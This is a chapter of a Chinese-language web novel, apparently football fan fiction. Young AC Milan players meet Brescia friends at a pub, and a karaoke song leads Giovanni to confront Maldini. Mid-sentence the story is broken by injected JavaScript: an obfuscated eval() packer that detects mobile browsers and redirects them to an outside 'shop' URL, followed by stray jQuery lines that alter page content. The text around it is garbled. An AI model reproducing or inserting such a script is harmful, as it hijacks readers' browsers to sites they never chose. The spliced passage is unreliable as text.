“安德烈亚,我们想死你了!在米兰没挨揍吧?”皮尔洛面无表情地把一上来就死死搂住他的菲利皮尼兄弟扯开,“安东尼奥、马努,信不信我身后这群米兰人直接给你们俩一人一拳?”


    皮尔洛身后几步,乔瓦尼正微微侧头,看着那对几乎是一个模子刻出来的双胞胎,他们上赛季还在联赛中碰到过。科科、安布罗西尼和阿比亚蒂则站在乔瓦尼身边,而对面,菲利皮尼兄弟身后则站着约尔迪,以及一位面带笑容的老将。


    “菲利波!”科科一看到约尔迪身旁的人,几乎是蹦过去给了那位老将一个拥抱,力道大得让对方踉跄了半步,“我刚才还在猜你会不会来!”


    被叫做菲利波的男人——菲利波·加利——拍了拍科科的背,“弗兰科!你现在可结实多了啊。”


    安布罗西尼注意到乔瓦尼眼中一闪而过的疑问,凑近队友耳边轻声介绍:“这位是菲利波·加利先生,和你们一样,也是米兰青训出身。在比利和巴雷西先生搭档之前,他是米兰的主力中后卫。”


    乔瓦尼微微睁大眼睛,所以这人……是科斯塔库塔的前辈?


    飘在一旁的克鲁伊夫抱着胳膊接话:“没错,1994年欧冠决赛,巴雷西和科斯塔库塔双双停赛,加利是首发中卫,然后米兰4比0赢了巴萨。”荷兰人顿了顿,“也就是约尔迪的父亲带的那支球队。”


    这世界可真小,乔瓦尼想。他走上前,轻轻拥抱了一下约尔迪。


    1963年出生的加利已走到职业生涯末期,他逐一与米兰的年轻球员问好、寒暄,态度温和,毫无架子。


    就这样,米兰五人、布雷西亚四人,大家简单认识后便一起走进了酒馆。这家小店位于圣西罗附近的老街上,空间不大,却布置得温馨,墙上贴满红黑色的装饰,一眼就能看出老板是哪队球迷。


    “谢谢你们的邀请,乔。”约尔迪礼貌地笑着,用流利的意大利语说道。


    皮尔洛有些惊讶地看向约尔迪,他记得半年前和曼联踢友谊赛时,对方还完全不会意大利语。


    察觉到皮尔洛的疑惑,乔瓦尼立刻解释道:“约尔迪本来就会西班牙语,学意大利语就容易多了。”


    “这主要还是得归功于乔教得好。”约尔迪笑着说道。


    此时,菲利皮尼兄弟已经和科科凑到酒馆角落研究点唱机;安布罗西尼和阿比亚蒂则在加利的介绍下看着菜单,据说以前米兰比赛结束后常来这里庆祝。


    老板特意帮他们把两张桌子拼在一起。由于米兰众人皆知乔瓦尼那“一杯倒”的酒量,以及加利还需要开车送布雷西亚的几人回去,桌上意外地出现了两杯橙汁。


    “乔,你胳膊怎么了?”坐在乔瓦尼身边的约尔迪注意到对方的左手似乎不太灵便。


    “今天比赛时戳了一下,不碍事,队医说过两三天就好。”乔瓦尼扯了扯嘴角。这时,不知是菲利皮尼兄弟中的哪一个插话道:“约尔迪今天比赛也伤到胳膊了,他被对方中卫锁着肩膀,还是硬把球踢了进去。我们队医说了,那动作再大一点儿肩膀非脱臼不可。”


    “没那么夸张。”约尔迪见乔瓦尼眼神里露出不赞同,忙说,“马努,你别吓着乔。”


    皮尔洛低头叉起一口沙拉,目光在乔瓦尼和约尔迪之间转了转,开口却问了另一件事:“约尔迪,我可以这样叫你吗?你是怎么分清安东尼奥和马努的?”要知道他虽然与这对双胞胎做了好几年队友,但有时在训练场上还是会觉得像“撞了鬼”——刚晃过一个,一转身另一个又出现在眼前。明明是双胞胎,跑动起来却仿佛是五胞胎一样,叫人眼花。


    “当然可以,安德烈亚,请允许我这样称呼你。”约尔迪笑着回答,“其实我还分不清他俩。不过要是我叫错了,他们会纠正我,那样就能分清了。”


    皮尔洛点了点头,忽然有些明白约尔迪为何能与乔瓦尼相处融洽了。约尔迪身上那种安静沉稳的气质,对在暴力与不安中长大的乔瓦尼来说,本身就是一种令人安定的力量,哪怕对方在球场上的疯狂和乔瓦尼不相上下。


    这时,胡乱往嘴里塞了几块披萨的科科匆匆结束了晚餐,立刻奔向点唱机一把抓起麦克风,显然没有忘记今天聚会的主要目的。


    巧的是,菲利皮尼兄弟也爱玩音乐。三人挤在点唱机前捣鼓了一阵,然后便旁若无人地“吼唱”起来。乔瓦尼不是没听过队友唱歌,所以心里早对今晚的“听觉体验”有了大致预感。不过对他们这群人来说,唱歌从来不是为了好听,纯粹是一种情绪的宣泄。


    没过多久,乔瓦尼也被拉到点唱机前。“我真不会唱……”除了每年圣诞节在福利院不得不跟着唱的颂歌之外,他几乎没唱过什么流行曲。


    约尔迪站到他身旁,手指划过点歌列表:“这首怎么样?我感觉意大利人应该都会唱。它在荷兰和西班牙也很火。”


    乔瓦尼眯起眼睛:“La solitudine?”


    “劳拉·帕西尼的成名曲。”皮尔洛不知何时也走了过来,淡淡地补充道,“那时候满大街都在放,你肯定听过。”


    由于实在推脱不过,乔瓦尼最终还是被“分配”了一首歌。


    这时,酒馆的木门被推开,撞得铜铃清脆一响。众人闻声转头,只见门口站着身穿牛仔外套的科斯塔库塔,脸上写满了错愕。


    “比利,怎么堵在门口?”阿尔贝蒂尼的脑袋从他肩后探出来,随即,也露出了如出一辙的震惊表情。


    但凡菲利波·加利没在这里,科斯塔库塔都可以假装自己从没有出现过,直接关上门拽着好友默默离开。


    可此时,这位米兰旧将已经带着惊喜的笑容从座位上站了起来。“比利!德米!保罗呢?”他朗声招呼着,目光还朝他们身后看了看。以他对这三个人的了解,他们绝不会落下谁单独行动,马尔蒂尼必然也在附近。


    科斯塔库塔和阿尔贝蒂尼只能迎着一众年轻队友的视线走进来,而马尔蒂尼果不其然就站在他们身后。


    约尔迪察觉到身边的乔瓦尼忽然皱紧了眉头,他顺着对方的视线望去,落在了那位米兰的旗帜人物身上——令他有些惊讶的是,保罗·马尔蒂尼似乎并不太想走进来。


    简短寒暄过后,酒馆老板又搬来一张小桌。米兰三人组挨着许久未见的菲利波·加利坐下。十分不巧的是,马尔蒂尼正好坐在了乔瓦尼和约尔迪的正对面。


    皮尔洛的视线不停地在桌上来回打量:科斯塔库塔的注意力已被加利完全吸引,无暇顾及桌上的暗流涌动;阿尔贝蒂尼在面对马尔蒂尼时,终究少了米兰副队长那份年长的压制力,一时也插不上话;安布罗西尼和阿比亚蒂几乎要把脸埋进披萨里,只想逃离这令人窒息的尴尬;而科科与菲利皮尼兄弟唱得忘我,早就顾不上这一桌的死活了。


    于是,乔瓦尼、约尔迪与马尔蒂尼之间那股无声的、古怪的气压,便显得格外突兀了。


    这时,率先打破沉默的是约尔迪:“好巧,看来米兰球员都很喜欢这家店。”


    马尔蒂尼将目光转向荷兰人,并未对约尔迪那口流利的意大利语感到意外,因为他知道乔瓦尼早就开始在每周三次的跨洋通话中教对方说意语了。


    “这儿的老板是罗森内里,听说当年球队降级的时候,他还专门免费请球员们吃饭,就是为了给大家打气,盼着早点杀回意甲。”马尔蒂尼顿了顿,声音低了些,“不过两年前老板心脏动过手术,我们也就不好再像从前那样,一来就二十几号人闹哄哄的了。现在多是三三两两地过来,私下喝两杯。”


    约尔迪悄悄瞥了乔瓦尼一眼。他能感觉到,身旁的人分明在认真听着马尔蒂尼说的每一句话,可身体却不由自主地流露出一种近乎本能的排斥。同样,马尔蒂尼的目光虽不时落向乔瓦尼,应该是想要判断对方的状态,但他的视线又总是在触碰的瞬间克制地移开。


    再看看这一桌米兰人欲言又止、埋头吃喝的模样,约尔迪心里几乎已经可以肯定——乔瓦尼和他的队长之间,一定发生了什么。难怪最近无论是发短信还是打电话,乔瓦尼一次都没有提起过马尔蒂尼的名字,要知道这在以前是难以想象的事情——约尔迪知道马尔蒂尼对乔瓦尼来说有多重要。


    “乔,下首是你的歌了!”科科从桌子对面递来麦克风。乔瓦尼默默接过,绕到桌子外侧,这样电视屏幕上的歌词会清楚些,尽管他觉得自己未必会唱。


    然而等到音乐前奏响起,乔瓦尼才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884996|184144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发现他还真的听过,确实就像皮尔洛所说,有段时间大街上到处都在放这首歌,意大利人几乎都能哼上两句。


    正与加利聊天的科斯塔库塔也被前奏吸引,立刻意识到这是哪首歌,他下意识看向马尔蒂尼,却意外地从那张向来沉稳的脸上,捕捉到一种从未见过的痛苦神情——


    “马可已经离去,再也不会回来。”


    “在城市灰色的清晨,寒意弥漫。”


    乔瓦尼确实如他所说没有任何歌唱技巧,但调子却非常准。一时间,桌上所有人的目光都落在这位年轻人身上。这首歌发行于1993年,讲述了一个名叫“马可”的男孩在家人干预下被迫与恋人分离,并被送往远方的故事。


    科斯塔库塔心中突然冒出一个猜测,可那念头过于离谱,让他不自觉地屏住了呼吸。


    “你的父亲,还有他那些单调的忠告。”


    “他一定从没问过你的意见,


    只是说:‘有一天你会理解我的’。”


    乔瓦尼以前在街上从未深究过歌词在讲什么,只是跟着旋律一句句唱下去:


    “不知你是否会想起我?


    你是否会向朋友倾诉?


    只为不再因我而痛苦,


    可你知道,这并不容易。”


    但唱着唱着,某种异样的感觉渐渐在他心底浮现:


    “我求你,等等我。


    因为我无法离开你,


    我们无法分开。


    我们之间的孤独,


    我心底的沉默,


    是没有你而活着的惶恐。”


    一曲终了。克鲁伊夫靠在墙边,注视着乔瓦尼手中缓缓垂下的麦克风,默默感受着小儿子心底那宛如狂风过境般的心境。


    乔瓦尼缓慢而僵硬地转过头,视线直直刺向马尔蒂尼。


    一瞬间,所有的记忆碎片逐渐拼接起来——平安夜切萨雷脸上异常严肃的神情、圣诞早餐时马尔蒂尼父子间无形的紧绷、还有这些日子以来切萨雷望向自己时那总带着歉疚的眼神……


    他一直以为,那只是切萨雷看到自己的儿子抛弃了一个曾经依赖他的年轻人而感到愧疚。


    在四周的掌声尚未完全落下时,乔瓦尼一步一步朝那个低垂视线、盯着桌布不动的男人走去——


    “乔!”克鲁伊夫忽然横步挡在两人之间,紧张地看向自己的小儿子。


    乔瓦尼的视线缓缓上移,定在荷兰人那双与自己相似的灰蓝色眼睛上。


    “是切萨雷先生要他走的。”他在心里无声地说,“为什么?”


    如果约翰没有站在这里阻拦,他或许还会存有一丝不确定。但现在,他清楚地知道自己的判断没有错。


    “为什么,约翰?为什么你们——你、切萨雷先生、还有他——宁愿看着我伤心、愤怒,也不愿意告诉我到底发生了什么?”


    克鲁伊夫攥紧了拳,声音里带着一种坚定到近乎残酷的冷静:“这也是小马尔蒂尼自己的选择。就算那晚他父亲没有看见,他最后……很可能还是会做出和现在一样的选择。”


    那晚。


    乔瓦尼瞬间抓住了这个词。


    平安夜那晚。


    是马尔蒂尼发烫的掌心贴在他颈侧,是马尔蒂尼不断靠近、近到能清晰感受到呼吸的脸——


    乔瓦尼觉得自己就快要触到真相了,可最后那片拼图始终悬在半空,怎么也对不上。马尔蒂尼的举动惹怒了他的父亲切萨雷,显然也让约翰心生不满——可他当时究竟想做什么?


    我要问他,我要听他亲口说。


    乔瓦尼侧身绕过挡在面前的约翰,站定在马尔蒂尼身旁。而男人依旧低垂着视线,仿佛根本没有察觉到他的存在,一动不动。


    “你……”乔瓦尼刚开口,约尔迪和科斯塔库塔几乎同时从座位上起身——


    “乔,先喝点水。”约尔迪一把拉住乔瓦尼的手臂,将他轻轻按回座位。


    “保罗,陪我出去抽根烟。”科斯塔库塔几乎是拎着马尔蒂尼的领子,半推半拽地将人带离了酒馆。


    门口的黄铜铃铛清脆地响了一声。


    透过酒馆模糊的玻璃窗,能看见细碎的雪花正开始飘落。